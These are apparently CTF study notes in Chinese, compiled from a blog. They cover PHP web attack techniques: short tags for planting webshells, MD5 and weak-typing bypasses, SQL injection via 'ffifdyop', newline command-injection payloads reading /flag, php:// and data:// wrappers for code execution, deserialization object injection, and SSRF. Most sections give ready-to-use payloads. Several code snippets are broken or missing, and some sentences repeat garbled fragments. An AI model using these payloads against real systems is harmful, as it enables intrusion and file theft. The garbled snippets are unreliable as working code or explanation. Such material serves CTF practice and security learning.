PHP中有两种短标签,?>和=?>。其中,?>相当于对的替换。而=?>则是相当于 echo>。
例如:
= '111'?>
将会输出'111' 大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,=?>这种写法总是适用的,?>这种写法则需要short_open_tag开启才行。
php后台插一句话的新思路
1):
demo:
这个标签现在程序大多都是使用的这种标签!大家都不陌生了,这里就不多介绍了!
2):
echo "test"; ?>
这种标签是在以前很普遍的一种用法php 老版本开发的cms大多都是用的它,
大多程序员都是很熟悉的!我们把这种标签称为短语标签!
3):
demo:
这个标签是今天的重点,大多都不熟悉的!而且程序员在网站后台过滤插一句话
的时候往往都是以
“,?>”
这两个关键字进行替换或过滤的!所以这种标签在后台插马
的时候用处还是很大的!
File协议
file协议
中文意思:本地文件传输协议
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如何使用File:要使用File协议,基本的格式如下:file:///文件路径
,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf
回车。
uri中为什么本地文件file后面跟三个斜杠, http等协议跟两个斜杠?
因为URI结构是:
scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]
如果有host,前面是要加 // 的,因此对于 http 等这些网络地址来讲http://www.baidu.sb:80/ad/cas
写成这样很自然。
如果是文件,文件没有 host ,所以中间的部分就不要了,就变成了file:///ad/cash
对于文件来讲,似乎 //
不要也是没有任何关系的呢
其实根据上面的定义来讲,下面的才是正确的。因为如果没有 host 的话,第一个 [] 的内容就不应该存在了啊。
file:/ad/cash
这种统一的写法也有个标准,叫CURIE。
其实最开始的那个 /
也是可以不要的呢,就看你是不是表示的是绝对地址了,一般来说都是用的绝对地址。
你要是连公司内网就知道了,其他服务器的文件地址是 file://host/path/file.ext**
本机不用 host 部分,就直接 file:/// 即可。**
PHP中MD5常见绕过
md5($password,true)的SQL注入问题
这里需要注意一下MYSQL中的一些数值比较的特征。
当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。
select if(1="1a","相等","不相等") as test
if(exp1,stat1,stat2):类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2
2.以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。
比如以下语句就是一个万能密码的例子:
select * from user where password =''or'1234a';
解释一下:'1234a’会被当做true对待。而任何数和true做逻辑或运算返回的值都是true.
看这个md5($password,true)的漏洞
select * from usera where username = 'admin' and password = md5($pass,true)
若我们可找到字符串,在对该字符串进行md5后能够得到 'or’加上一个非0的字符就可以绕过。这里我们可以用到的字符串为:ffifdyop。它的md5结果是:276f722736c95d99e921722cf9ed621c 。通过这个结果我们可以发现得到16字节的二进制被解析为字符的结果是:'or’6后面接乱码 (27是单引号的16进制编码,67是字母o的16进制…)这样后构造的sql语句就位
select * from user where password=' 'or'6xxx'
和上面分析的万能密码是一致的。
两变量值不相等,md5计算散列值后相等的绕过
==的绕过
PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。常见的如下:
在md5加密后以0E开头
QNKCDZO240610708s878926199as155964671a
以下串在sha1加密后以0E开头,并且后面均为纯数字
aaroZmOkaaK1STfY
payload: /?a=QNKCDZO&b=240610708
if($_GET['a'] !== $_GET['b']){ if(md5($_GET['a']) == md5($_GET['b'])){ echo "flag"; } }?>
===的绕过
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)
if($_GET['a'] !== $_GET['b']){ if(md5($_GET['a']) === md5($_GET['b'])){ echo "flag"; } }?>
MD5碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); }
这里和上面不同之处在于有一个强制类型转化,若传入数组转化后的结果都是字符串Array。这里需要用到的是MD5碰撞,也就是不同字符串但是MD5后值相同的情况。下面的任意两组字符串内容不同,但md5结果相同
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
php弱类型总结
知识介绍
php中有两种比较的符号 == 与 ===
1
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
这里明确了说如果一个数值和字符串进行比较的时候,会将字符串转换成数值
1 //上述代码可自行测试
1 观察上述代码,"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等2 "1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0,为什么呢??3 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
对于上述的问题我查了php手册
当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1
所以就解释了"admin1"==1 =>False 的原因
实战
md5绕过(Hash比较缺陷)
1
题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句
介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。**md5(‘240610708’) == md5(‘QNKCDZO’)**成功绕过!
QNKCDZO0e830400451993494058024219903391s878926199a0e545993274517709034328855841020 s155964671a0e342768416822451524974117254469 s214587387a0e848240448830537924465865611904 s214587387a0e848240448830537924465865611904 s878926199a0e545993274517709034328855841020 s1091221200a0e940624217856561557816327384675 s1885207154a0e509367213418206700842008763514
json绕过
key == $key) { echo "flag"; } else { echo "fail"; } } else{ echo "~~~~"; }?>
输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于 k e y 的值,但是 key的值,但是 key的值,但是key的值我们不知道,但是可以利用0=="admin"这种形式绕过
最终payload message={“key”:0}
array_search is_array绕过
1
上面是自己写的一个,先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和admin相等,并且将每个值转化为int类型,再判断传入的数组是否有admin,有则返回flag
payload test[]=0可以绕过
下面是官方手册对array_search的介绍
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
n e e d l e , needle, needle,haystack必需, s t r i c t 可选函数判断 strict可选 函数判断 strict可选函数判断haystack中的值是存在$needle,存在则返回该值的键值 第三个参数默认为false,如果设置为true则会进行严格过滤
1 返回键值04 var_dump(array_seach("1admin",$a)); // int(1) ==>返回键值15 ?>
array_search函数 类似于== 也就是 a = = " a d m i n " 当然是 a=="admin" 当然是 a=="admin"当然是a=0 当然如果第三个参数为true则就不能绕过
strcmp漏洞绕过 php -v <5.3
1
strcmp是比较两个字符串,如果str1
我们是不知道 p a s s w o r d 的值的,题目要求 s t r c m p 判断的接受的值和 password的值的,题目要求strcmp判断的接受的值和 password的值的,题目要求strcmp判断的接受的值和password必需相等,strcmp传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢
我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
payload: password[]=xxx
switch绕过
1
这种原理和前面的类似,就不详细解释了
PHP弱类型比较(松散比较)方面的漏洞
斜体样式PHP松散比较“==”的比较表
在这里插入图片描述
这个表格在PHP官方文档很容易找到,链接为:http://php.net/manual/zh/types.comparisons.php
对于表格中一些比较的验证,说明确实有这样的问题
代码:
var_dump(1=="1");var_dump(123=='123asd');var_dump("1"==true);var_dump("0"==false);var_dump(-1 == true);var_dump(true=="php");var_dump(0==NULL);var_dump(0=="php");var_dump(0=="");var_dump(NULL==false);var_dump(""==false);var_dump(array()==false);var_dump(array()==NULL);?>
结果为:
在这里插入图片描述
字符串与数字进行比较的漏洞
例子:
var_dump(123==‘123asd’);//输出为truevar_dump(123==‘1234asd’);//输出为falsevar_dump(123==‘123asd1234’);//输出为truevar_dump(“asdf1"1) //false
原因:
在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。
preg_replace() 函数/e执行漏洞
这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 **preg_replace()**函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:
Copy mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject: 要搜索替换的目标字符串或字符串数组 | |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制) |
$count | 可选,为替换执行的次数 |
如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。 | |
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 |
php数组key溢出
经试验在php5的版本中,存在php数组key溢出,可以看到在$arr
数组里,没有定义$arr[0]='admin'
,定义的[4294967296]='admin'
,但是$arr===$array
却是返回的true,并且$arr[0]!='admin'
这里面的[4294967296]='admin'
只能为4294967296
%0a绕过正则
preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
%0a 经过url编码后表示换行符,相当于分号(;)的作用
使用inode绕过关键字
inode
Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。可以通过ls -i
列出文件名和inode号码
反引号``反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-URfQcXKJ-1665117590354)(https://www.cnblogs.com/NineOne/image/116.png)]
设置环境变量绕过关键字限制
将命令写入文件后执行绕过关键字限制
本来也可以用echo,但是echo被禁用了
可以看到,使用printf将字符串写进文件时可以打引号也可以不打引号,>表示重写文件,>>表示在原有的基础上继续写文件。
进去题目,审计源码
<?php//php5.5.9$stuff = $_POST["stuff"];$array = ['admin', 'user'];if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } }} else { highlight_file(__FILE__);}
第一关:
传进去的数组要求等于$array
数组,还是个强等于,并且要求第一个元素又不是admin,这怎么可能,好吧,是我孤陋寡闻了,看了wp才知道key溢出,原理我也不晓得。。
构造payload
[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1
回显成功:my favorite num is:1
说明绕过成功
第二关:
正则要求$num
只能是数字,但是后面有个/m,我们就可以用%0a进行绕过
构造payload
[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1%0als
stuff[4294967296] =admin&stuff[1]=user&num=1%0als \
执行成功
第三关:
我们要读取flag文件,但是flag被过滤了,cat也被过滤了,但是没关系,我们还有如下命令可以用
但是我们还要绕过flag的书写,这就要用到上面的知识点了
payload1:stuff[4294967296] =admin&stuff[1]=user&num=1%0als -i /;tac `find / -inum 30415147 `;payload2:stuff[4294967296] =admin&stuff[1]=user&num=1%0aprintf /fla>/tmp/1.txt;printf g>>/tmp/1.txt;tac `tac /tmp/1.txt`; //注意因为过滤了"",所以写字符串的时候没有加引号payload3:stuff[4294967296] =admin&stuff[1]=user&num=1%0a a=/fl;b=ag;tac $a$b;
错误姿势
一开始我想着闭合system函数
就构造了个?num=11) and system('ls');
然后发现不行
后来又构造了个?num=11) & system('ls');
还是不行
之前所做的题目前面有个assert()函数,将里面的字符串当做了Php执行,所以存在闭合,而这里没有assert()之类的函数,所以闭合不行。并且&在url中具有特殊含义
这样闭合没有出system的范围,所以有用。
特别注意,eval函数里面要执行的字符串,要想执行成功,必须以分号(;)结尾。
php弱类型比较绕过
打开随便点点可以发现购买flag但是钱不够接着就没什么发现,接着扫一下目录
python dirsearch.py -u http://111.200.241.244:55220python2 scan.py -u http://111.200.241.244:55220
扫到/.git使用githack下载下来
python2 GitHack.py -u http://111.200.241.244:55220/.git
从关键代码中审计得
if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){response_error('please post json data');}$data = json_decode(file_get_contents('php://input'), true);if(json_last_error() != JSON_ERROR_NONE){response_error('invalid json');}require_keys($data, ['action']);function buy($req){require_registered();require_min_money(2);$money = $_SESSION['money'];$numbers = $req['numbers'];$win_numbers = random_win_nums();$same_count = 0;for($i=0; $i<7; $i++){if($numbers[$i] == $win_numbers[$i]){$same_count++;}}
使用的是json格式的,比较彩票数字与用户数字采用的是==弱类型比较
由于
var_dump("8"==true);#为true
所以构造
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
钱够了直接买
伪协议总结
相关协议有:file:// php://filter php://input zip:// compress.bzip2:// compress.zilb:// data://等
file://伪协议
php.ini: PHP的配置文件
file://协议在双off的情况下也可以正常使用
allow_url_fopen:offallow_url_include:off
file://用于访问本地文件系统,在ctf中通常用来读取本地文件且不受allow_url_fopen与allow_url_include
使用方法:
- file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
2.file://[文件的相对路径加文件名]
http://127.0.0.1/cmd.php?file=./phpcode.txt
3.fiel://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://协议
php://协议
不需要开启allow_url_fopen,但是php://inpt php://stdin php://memory php://temp需要开启allow_url_include
php://访问各个输入输出流,在ctf中常用的是php://filter(用于读取源码) php://input(用于执行php代码)
allow_url_fopen=offallow_url_include=on
php://filter
参数主要
php://filter | 解释 |
---|---|
resource=[要过滤的数据] | 他指定了你要过滤的数据流 |
read=[读取的过滤器的方法] | 可以指定一个或多个过滤器的名称 |
write=[写链的过滤器的方法] | 可以指定一个或多个过滤器的名称 |
[过滤器的方法] |
转换过滤器
转换过滤器 | 作用 |
---|---|
convert.base64-encode 或者convert.base64-decode | 相当于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode或者convert.quoted-printable-decode | quoted-printable字符串与8-bit字符串编码解码 |
压缩过滤器
压缩过滤器 | 作用 |
---|---|
zlib.deflate或者zlib.inflate | 在本地文件系统中创建gzip兼容文件的方法,但不产生命令行工具如gzip的头和尾信息.只是压缩和解压数据流中的有效载荷部分 |
bzip2.compress或者bzip2.decompress | 在本地文件系统中创建bz2的兼容文件的方法 |
因此利用base64编码的方法
php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码但是对于php文件需要base64编码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input执行代码
可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行
allow_url_fopen=offallow_url_include=on
php://input
POST数据
使用方法
http://127.0.0.1/include.php?file=php://inputPOST 数据
如果有写入权限,可以写入一句话木马
http://127.0.0.1/include.php?file=php://inputPOST 数据'); ?>
zip://与bzip2://与zlib://协议
allow_url_fopen=offallow_url_fopen=off
zip:// bzip:// zlib://均属于压缩流,可以访问压缩文件中的子文件夹,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg png gif 等等
zip://
使用
zip://[压缩文件的绝对路径]%23[压缩文件内的子文件名] (其中的%23是#的编码)
压缩phpinfo.txt为phpinfo.zip,压缩包重命名为phpinfo.jpg,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
compress.bzip2://file.bz2
**使用 **
压缩phpinfo.txt为phpinfo.bz2并上传(同样支持任意后缀)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
使用
压缩phpinfo.txt为phpinco.gz并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://协议
allow_url_fopen=onallow_url_include=on
可以使用data://数据流封装器,以传递响应格式的数据.通常可以用来执行php代码
使用
data://text/plain,[要执行的php代码]
http://127.0.0.1/include.php?file=data://text/plain,
data://text/plain;base64,[要执行的php代码的base64编码]
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://和https://协议
allow_url_fopen=onallow_url_include=on
常规url形式,允许使用http1.0的get方法,以只读访问文件或资源,ctf中通常用于远程包含
使用
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
phar://协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
使用
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
PHP字符逃逸导致的对象注入
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
function filter($string){$a = str_replace('x','zz',$string);return $a;}$username = "tr1ple";$password = "aaaaax";$user = array($username, $password);echo(serialize($user));#输出一个序列化后的$use=a:2:{i:0;s:6:"tr1ple";i:1;s:6:"aaaaax";}echo "\n";$r = filter(serialize($user));#经过过滤将x过滤为zz s:6:"aaaaazz";s的长度会发生改变 valueName = "a:2:{i:0;s:6:"tr1ple";i:1;s:6:"aaaaazz";}"echo($r);echo "\n";var_dump(unserialize($r));
php特性:
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的2.对类中不存在的属性也会进行反序列化
以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了
并且如果对于a:2:{i:0;s:6:“tr1ple”;i:1;s:5:“aaaaa”;}i:1;s:5:“aaaaa”; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块
以以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性
比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:“tr1ple”;i:1;s:6:“123456”;}是我们想要达到的效果,此时我们想要注入的payload明显为:
";i:1;s:6:“123456”;}
可以得到其长度为20
此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:6:"aaaaa1";';var_dump(unserialize($a));$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值$password="aaaaa";$user = array($username, $password);echo(serialize($user));echo "\n";$r = filter(serialize($user));echo($r);echo "\n";var_dump(unserialize($r));
实例:
// php版本:5.4.44#header("Content-type: text/html; charset=utf-8");#highlight_file(__FILE__);class evil{ public $hint; public function __construct($hint){ $this->hint = $hint; } public function __destruct(){ if($this->hint==="hint.php") @$this->hint = base64_encode(file_get_contents($this->hint)); var_dump($this->hint); } function __wakeup() { if ($this->hint != "╭(●`∀´●)╯") { //There's a hint in ./hint.php $this->hint = "╰(●’◡’●)╮"; } }}class User{ public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; }}function write($data){ global $tmp; $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); $t1=chr(0).'*'.chr(0); $tmp = $data;}function read(){ global $tmp; $data = $tmp; $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r;}$tmp = "test";$username = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";$password = 'a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}';$a = serialize(new User($username, $password));echo $a;if(preg_match('/flag/is',$a)) die("NoNoNo!");unserialize(read(write($a)));//$r1 = new evil('hint.php');//echo (serialize($r1));# O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}绕过wakeup函数变为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}#O:4:"User":2:{s:8:"username";s:24:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}var_dump(unserialize('O:4:"User":2:{s:8:"username";s:2:"11";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}'));
我们重点看到的是两个类,在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,肯定要构造触发这个evil类,但是看接入点,是post进去username和password两个参数,然后触发的是User类,但是有个read和write方法,经过处理后才进行序列化,这个就是个典型的字符串逃逸,具体原理可以参考文章PHP字符逃逸导致的对象注入
我们要逃逸出发evil类的payload为
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
user类触发为
O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
所以我们要逃逸的就是";s:8:“password”;s:41:"共23个字符,然后一对\0\0\0可以逃逸三个字符,我们就再添一个a进去凑成24个,用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
得到一个
$hint = "index.cgi"; // You can't see me~
直接访问index.cgi
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-620a1f2c-4d7449205354f22625cdf096" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob"}
发现是通过get方法获取name的值
发现后面请求的name确实跟着变了,证明猜测成立 ,那就来ssrf读取flag
这里需要一个file协议
file协议
所以构造payload
?name= file:///flag
来源地址:https://blog.csdn.net/m0_63303407/article/details/127193061